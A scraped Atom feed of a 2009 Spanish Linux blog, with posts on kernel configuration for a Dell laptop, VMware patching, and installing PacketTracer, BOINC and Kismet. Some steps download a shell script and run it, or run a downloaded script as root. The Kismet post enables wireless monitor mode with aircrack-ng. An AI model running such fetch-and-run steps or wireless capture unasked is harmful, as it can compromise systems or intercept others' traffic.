url='http://1.bp.blogspot.com/_JhkD20t_wqQ/SmjuYOS2LPI/AAAAAAAAAMw/WfbnUVWIO4g/s72-c/nokia5800xpressmusic_5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7864797269375562519</id><published>2009-06-28T18:12:00.003+02:00</published><updated>2009-12-29T08:06:23.130+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Controlador SATA Dell XPS Studio</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SkeYLMU9rSI/AAAAAAAAAMo/EKT3K31I5lY/s1600-h/kernel.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 147px; height: 150px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SkeYLMU9rSI/AAAAAAAAAMo/EKT3K31I5lY/s200/kernel.gif" alt="" id="BLOGGER_PHOTO_ID_5352414000208260386" border="0" /&gt;&lt;/a&gt;Poco a poco voy ajustando cada vez mas mi kernel al hardware de mi portatil, voy a explicar cual es el driver SATA para el Dell XPS Studio.&lt;br /&gt;La ruta del driver es la siguiente:&lt;br /&gt;Device drivers --&gt; Serial ATA (prod) and Parallel ATA (experimental drivers)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ATA ACPI support&lt;/li&gt;&lt;li&gt;AHCI SATA support&lt;/li&gt;&lt;li&gt;ATA SFF support&lt;/li&gt;&lt;li&gt;NVIDIA SATA support&lt;/li&gt;&lt;/ul&gt;Recordad compilar estas opciones directamente dentro del kernel, no como módulos ya que si no se hace así el kernel no arrancará y nos mostrará un bonito Kernel Panic en el arranque.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7864797269375562519?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7864797269375562519/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7864797269375562519' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7864797269375562519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7864797269375562519'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/06/controlador-sata-dell-xps-studio.html' title='Controlador SATA Dell XPS Studio'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SkeYLMU9rSI/AAAAAAAAAMo/EKT3K31I5lY/s72-c/kernel.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5509345263126520930</id><published>2009-06-25T19:53:00.005+02:00</published><updated>2009-12-29T08:17:18.266+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Configuración del reloj del sistema</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SkO7u183c-I/AAAAAAAAAMg/3gshIoMk8UA/s1600-h/512-time-machine.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 115px; height: 115px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SkO7u183c-I/AAAAAAAAAMg/3gshIoMk8UA/s200/512-time-machine.png" alt="" id="BLOGGER_PHOTO_ID_5351327195677029346" border="0" /&gt;&lt;/a&gt;Desde que compré el portatil (Dell XPS Studio 13") que la hora del sistema estaba funcionando dos horas adelantada, los logs me aparecian con horas incorrectas cosa que me molestaba bastante.&lt;br /&gt;Por fín he encontrado la solución a este problema, tan solo hay que habilitar ciertas opciones del kernel y listo, las opciones en cuestión son las siguientes:&lt;br /&gt;&lt;br /&gt;Device drivers --&gt; Real time clock&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;/sys/class/rtc/rtcN (sysfs)&lt;/li&gt;&lt;li&gt;/proc/driver/rtc (procfs for rtc0)&lt;/li&gt;&lt;li&gt;/dev/rtcN (character devices)&lt;/li&gt;&lt;/ul&gt;Espero que sea de utilidad, a mí me ha servido ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5509345263126520930?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5509345263126520930/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5509345263126520930' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5509345263126520930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5509345263126520930'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/06/configuracion-del-reloj-del-sistema.html' title='Configuración del reloj del sistema'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SkO7u183c-I/AAAAAAAAAMg/3gshIoMk8UA/s72-c/512-time-machine.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-9050502414190402500</id><published>2009-06-22T16:05:00.004+02:00</published><updated>2009-12-29T08:05:13.103+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otros sistemas operativos'/><title type='text'>Instalación de MAC-OSX en Vmware.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sj-SAiYztOI/AAAAAAAAAMY/olV77vHmBDA/s1600-h/macosx.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 185px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sj-SAiYztOI/AAAAAAAAAMY/olV77vHmBDA/s200/macosx.png" alt="" id="BLOGGER_PHOTO_ID_5350155420267951330" border="0" /&gt;&lt;/a&gt;Aquí os dejo mi última publicación, seguro que a mas de uno le intersa para probar algún exploit que había oído hablar de el en Internet o simplemente curiosear otros sistemas operativos:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.divshare.com/download/7722137-a43"&gt;- Instalación de Mac-OSX bajo Vmware.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ya me conatreis que hos parece.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-9050502414190402500?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/9050502414190402500/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=9050502414190402500' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/9050502414190402500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/9050502414190402500'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/06/instalacion-de-mac-osx-en-vmware.html' title='Instalación de MAC-OSX en Vmware.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Sj-SAiYztOI/AAAAAAAAAMY/olV77vHmBDA/s72-c/macosx.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3214665940710418755</id><published>2009-06-15T16:12:00.004+02:00</published><updated>2009-12-29T08:23:43.080+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualización'/><title type='text'>De nuevo VMware</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SjZZfwdl2wI/AAAAAAAAAMQ/tlx6pCyjPBA/s1600-h/Podtech_VMware_roi_vdi.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 112px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SjZZfwdl2wI/AAAAAAAAAMQ/tlx6pCyjPBA/s200/Podtech_VMware_roi_vdi.jpg" alt="" id="BLOGGER_PHOTO_ID_5347560009668877058" border="0" /&gt;&lt;/a&gt;Sí ya lo se, el puto VMware haciendo de las suyas en cada actualización de kernel, en esta ocasión se trata de la versión 2.6.30.&lt;br /&gt;Para poder compilar los módulos necesarios hay que bajar dos ficheros, el &lt;a href="http://www.divshare.com/download/7662426-454"&gt;primero&lt;/a&gt; es el parche propiamente dicho y el &lt;a href="http://www.divshare.com/download/7662436-bc8"&gt;segundo&lt;/a&gt; un script para aplicarlo.&lt;br /&gt;&lt;br /&gt;NOTA: Para poder aplicar el parche tube que desinstalar el VMware, reinstalarlo y finalmente aplicar el parche.&lt;br /&gt;&lt;br /&gt;Una vez bajados los dos ficheros ejecutamos el script como root:&lt;br /&gt;bash vmware-6.5.2-modules-2.6.30-fix.sh&lt;br /&gt;&lt;br /&gt;Ahora arrancamos el VMware como usuario regular y voilá solo hay que ingresar el password de root para que nos compile los módulos y listo, VMware rulando con el kernel-2.6.30&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3214665940710418755?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3214665940710418755/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3214665940710418755' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3214665940710418755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3214665940710418755'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/06/de-nuevo-vmware.html' title='De nuevo VMware'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/SjZZfwdl2wI/AAAAAAAAAMQ/tlx6pCyjPBA/s72-c/Podtech_VMware_roi_vdi.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4384611103705468331</id><published>2009-06-14T16:15:00.010+02:00</published><updated>2010-01-14T22:49:33.759+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Frequency Scaling</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SjUMg5zdiWI/AAAAAAAAAMI/7fbXkxczwCI/s1600-h/intel.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 140px; height: 97px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SjUMg5zdiWI/AAAAAAAAAMI/7fbXkxczwCI/s200/intel.jpg" alt="" id="BLOGGER_PHOTO_ID_5347193891984345442" border="0" /&gt;&lt;/a&gt;Hola amigos, hace poco que tengo mi portatil y hasta ahora no me había preocupado excesivamente la temperatura que alcanzaba el microprocesador pero con la llegada del verano empieza a alcanzar temperaturas de hasta 80 y pocos grados, no soy un experto en la materia pero me parece excesivo, se trata de un Core 2 Duo P8400 a 2600 GHz.&lt;br /&gt;&lt;br /&gt;Finalmente he optado por habilitar en el kernel las opciones de escalado de frecuencia:&lt;br /&gt;Power Managament and ACPI options --&gt; CPU Frequency Scaling&lt;br /&gt;Default CPUFreq Governor --&gt; Esta será la opción por defecto que usará si no le indicamos lo contrario, yo voy a dejarlo en userspace para poder ajustar ls frecuencia de reloj a mi antojo.&lt;br /&gt;&lt;br /&gt;Compilamos las siguientes opciones como módulos:&lt;br /&gt;performance governor&lt;br /&gt;powersave governor&lt;br /&gt;ondemand cpufreq policy governor&lt;br /&gt;&lt;br /&gt;Esta otra opción nos forzará a compilarla dentro del kernel:&lt;br /&gt;userspace governor for userspace frequency scaling&lt;br /&gt;&lt;br /&gt;ACPI Processor P-State Driver--&gt; Esta opción es para los Core 2 Duo, si disponemos de otro microprocesador habrá que "Googlear" para saber cual es la opción correcta.&lt;br /&gt;&lt;br /&gt;Una vez habilitadas las opciones necesarias compilamos y reiniciamos:&lt;br /&gt;make &amp;amp;&amp;amp; make modules_install &amp;amp;&amp;amp; cp arch/x86_64/boot/bzImage /boot/kernel-"version" &amp;amp;&amp;amp; reboot&lt;br /&gt;&lt;br /&gt;Ahora hay que cargar el módulo ACPI Processor P-State Driver:&lt;br /&gt;modprobe acpi_cpufreq&lt;br /&gt;&lt;br /&gt;Con esto ya podemos agregar el applet de Gnome: "Monitor de frecuencia de la CPU"&lt;br /&gt;&lt;br /&gt;Ejecutamos como root el comando: dpkg-reconfigure gnome-applets&lt;br /&gt;&lt;br /&gt;Y respondemos que sí para ejecutar el applet con el bit SUID habilitado, de este modo nuestro usuario del día a día será capaz de ajustar la frecuencia de reloj de las CPUs.&lt;br /&gt;&lt;br /&gt;Clickando sobre el applet ya podremos cambiar la frecuencia con un simple click ;)&lt;br /&gt;&lt;br /&gt;Esto es todo, así de sencillo, si queremos probar más modos tenemos los siguientes modulos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;cpufreq_powersave --&gt; Ahorro de energía&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;cpufreq_ondemand --&gt; Si las aplicaciones exigen potencia de calculo la frecuecnia es elevada a su máximo, y si la demanda cesa va bajando paulatinamente.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;cpufreq_userspace --&gt; La frecuencia max y minima es habilitada por programas.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;cpufreq_conservative --&gt; Es igual que el modo ondemand pero cuando sube la frecuencia lo hace progresivamente.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Finalmente hacemos que este proceso se realice de forma automática en el arranque:&lt;br /&gt;vi /etc/modules&lt;br /&gt;acpi_cpufreq&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4384611103705468331?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4384611103705468331/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4384611103705468331' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4384611103705468331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4384611103705468331'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/06/frequency-scaling.html' title='Frequency Scaling'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SjUMg5zdiWI/AAAAAAAAAMI/7fbXkxczwCI/s72-c/intel.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2527770557112187370</id><published>2009-06-07T23:40:00.006+02:00</published><updated>2009-12-29T08:24:13.163+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualización'/><title type='text'>PacketTracer en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SixOaUrYGLI/AAAAAAAAAMA/LBmf8UobFW0/s1600-h/pt1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SixOaUrYGLI/AAAAAAAAAMA/LBmf8UobFW0/s200/pt1.jpg" alt="" id="BLOGGER_PHOTO_ID_5344733071916144818" border="0" /&gt;&lt;/a&gt;Hace unos dias profundizabamos en el uso de &lt;a href="http://laguaridadelmal.blogspot.com/2008/07/dynamips-con-gns3.html"&gt;GNS3&lt;/a&gt;, pero ahora le ha llegado el turno a PackeTracer, esta herramienta está mas enfocada a la enseñanza, se pueden observar el paso de los paquetes por los diferentes nodos. Además tiene la posibilidad de añadir Switches cosa que se hechaba de menos en GNS3, por contrapartido no nos carga una IOS si no que solo un sistema base con el que podremos hacer diferentes montajes pero no todo cuanto se nos ocurra.&lt;br /&gt;&lt;br /&gt;Lo primero es conseguir el software, creo que lo podeis bajar de la página de &lt;a href="http://www.cisco.com/"&gt;CISCO&lt;/a&gt;, pero de todos modos lo he &lt;a href="http://www.divshare.com/download/launch/7597747-aa3"&gt;subido&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Descomprimimos el comprimido:&lt;br /&gt;tar xvzf PacketTracer51_generic.tar.gz&lt;br /&gt;&lt;br /&gt;cd PacketTracer51&lt;br /&gt;./install&lt;br /&gt;&lt;br /&gt;Nos aparecerá un asistente realizando algunas preguntas como la ruta de instalación, una vez hecho esto ya lo tendremos.&lt;br /&gt;&lt;br /&gt;En mi caso particular tuve que instalar ciertas fuentes para que las tipografías de los menus apareciesen, no se exactamente cuales instalé ya que me puse a instalar hasta que funcionó, es cuestión de ir probando.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2527770557112187370?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2527770557112187370/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2527770557112187370' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2527770557112187370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2527770557112187370'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/06/packettracer-en-linux.html' title='PacketTracer en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SixOaUrYGLI/AAAAAAAAAMA/LBmf8UobFW0/s72-c/pt1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7721961267843683839</id><published>2009-05-29T18:47:00.004+02:00</published><updated>2010-09-19T11:45:20.710+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Kismet con Atheros 9280</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SiAUTXRf2jI/AAAAAAAAAL4/JuMO1CUxiSU/s1600-h/wireless-red.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 83px; height: 83px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SiAUTXRf2jI/AAAAAAAAAL4/JuMO1CUxiSU/s200/wireless-red.jpg" alt="" id="BLOGGER_PHOTO_ID_5341291480958884402" border="0" /&gt;&lt;/a&gt;En mi portatil tengo una Atheros 9280 e instalé el magnifico software Kismet que nos permite visualizar las redes inalámbricas que se encuentran a nuestro alcance, cual fué mi sorpresa cando no arrancaba de ninguna de las maneras, pero no perdais la fe, "si algo es posible es en Linux".&lt;br /&gt;&lt;br /&gt;Primero instalamos Kismet:&lt;br /&gt;apt-get install kismet&lt;br /&gt;&lt;br /&gt;Ahora hay que realizar unos pequeños ajustes, editamos el fichero de configuración y localizamos la siguiente línea:&lt;br /&gt;vi /etc/kismet/kismet.conf&lt;br /&gt;&lt;br /&gt;Substituimos la línea esta:&lt;br /&gt;source=none,none,addme&lt;br /&gt;&lt;br /&gt;Por esta otra:&lt;br /&gt;source=ath5k,mon0,atheros&lt;br /&gt;&lt;br /&gt;Primeros deberemos crear la interfaz en modo monitor, para esto deberemos tener instalado aircrack:&lt;br /&gt;apt-get install aircrack-ng&lt;br /&gt;&lt;br /&gt;Y creamos la interfaz mon0:&lt;br /&gt;airmon-ng start wlan0&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Paramos las funciones de red:&lt;/div&gt;&lt;div&gt;/etc/init.d/networking stop&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Finalmente ya tenemos todo lo necesario instalado y configurado.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7721961267843683839?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7721961267843683839/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7721961267843683839' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7721961267843683839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7721961267843683839'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/kismet-con-atheros-9280.html' title='Kismet con Atheros 9280'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SiAUTXRf2jI/AAAAAAAAAL4/JuMO1CUxiSU/s72-c/wireless-red.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3527520042585186034</id><published>2009-05-29T13:01:00.004+02:00</published><updated>2009-12-29T08:24:31.800+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Computación distribuida.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sh_DVEoN85I/AAAAAAAAALw/Fa9RMOFXb1c/s1600-h/boinc_logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 174px; height: 72px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sh_DVEoN85I/AAAAAAAAALw/Fa9RMOFXb1c/s200/boinc_logo.png" alt="" id="BLOGGER_PHOTO_ID_5341202449871795090" border="0" /&gt;&lt;/a&gt;Seguro que mas de una ha oido hablar del programa &lt;a href="http://seti.astroseti.org/setiathome/"&gt;SETI&lt;/a&gt;, pues esta idea se ha expandido a diferentes áreas, yo por ejemplo estoy colaborando en el proyecto de investigación de la fusión nuclear.&lt;br /&gt;Todos los calculos realizados en estos proyectos seran de gran utilidad para realizar simulaciones con unas capacidades de calculo inimaginables, de esta forma los investigaadores podran llegar a sus conclusiones en un plazo mas corto de tiempo.&lt;br /&gt;Si quereis ver los diferentes proyectos podeis verlos &lt;a href="http://es.wikipedia.org/wiki/Proyectos_que_usan_BOINC"&gt;aquí&lt;/a&gt;.&lt;br /&gt;Los hay para todos los gustos, lo tengo configurado para que no consuma mas de un 40% de la CPU y que se active a los 3min de inactividad.&lt;br /&gt;&lt;br /&gt;Se puede descargar de la página Web de la Universidad de Berkeley y el programa en cuestión se llama &lt;a href="http://boinc.berkeley.edu/download.php"&gt;BOINC&lt;/a&gt;.&lt;br /&gt;Si vuestra tarjeta gráfica soporta la tecnología &lt;a href="http://es.wikipedia.org/wiki/CUDA"&gt;CUDA&lt;/a&gt; de Nvidia podreis realizar los cálculos mediante la gráfica, en mi caso no está soportada, aquí el listado de las &lt;a href="http://www.nvidia.com/object/cuda_learn_products.html"&gt;aptas&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Nos bajamos el .sh y lo ejecutamos:&lt;br /&gt;wget http://boincdl.ssl.berkeley.edu/dl/boinc_6.4.5_x86_64-pc-linux-gnu.sh&lt;br /&gt;sh boinc_6.4.5_x86_64-pc-linux-gnu.sh&lt;br /&gt;cd BOINC&lt;br /&gt;./boincmgr&lt;br /&gt;&lt;br /&gt;Nos aparecerá un asistente para unirnos a un proyecto.&lt;br /&gt;&lt;br /&gt;Con esto yo diría que ya está listo y poned vuestro granito de arena para que este mundo sea un poco mejor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3527520042585186034?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3527520042585186034/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3527520042585186034' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3527520042585186034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3527520042585186034'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/computacion-distribuida.html' title='Computación distribuida.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Sh_DVEoN85I/AAAAAAAAALw/Fa9RMOFXb1c/s72-c/boinc_logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-100835697490923843</id><published>2009-05-07T18:04:00.007+02:00</published><updated>2009-12-29T08:24:36.769+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Bueno, bonito y barato</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/SgMLpTYjJxI/AAAAAAAAALo/g6jXzIDSUKI/s1600-h/linux-netbook.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 127px; height: 146px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/SgMLpTYjJxI/AAAAAAAAALo/g6jXzIDSUKI/s200/linux-netbook.jpg" alt="" id="BLOGGER_PHOTO_ID_5333119187942582034" border="0" /&gt;&lt;/a&gt;Estoy hablando del nuevo portatil ultraligero de la empresa iUnika existen varias razones por las que apostar por este equipo:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Se trata de una empresa española.&lt;/li&gt;&lt;li&gt;Su precio es de 130 euros.&lt;/li&gt;&lt;li&gt;Solo viene con Linux y software libre.&lt;/li&gt;&lt;li&gt;La carga de la batería se realiza con placas solares.&lt;/li&gt;&lt;li&gt;Está fabricado con bioplástico.&lt;/li&gt;&lt;/ul&gt;Este equipo será perfecto para los paises en vía de desarrollo y porque no para todos nosotros.&lt;div 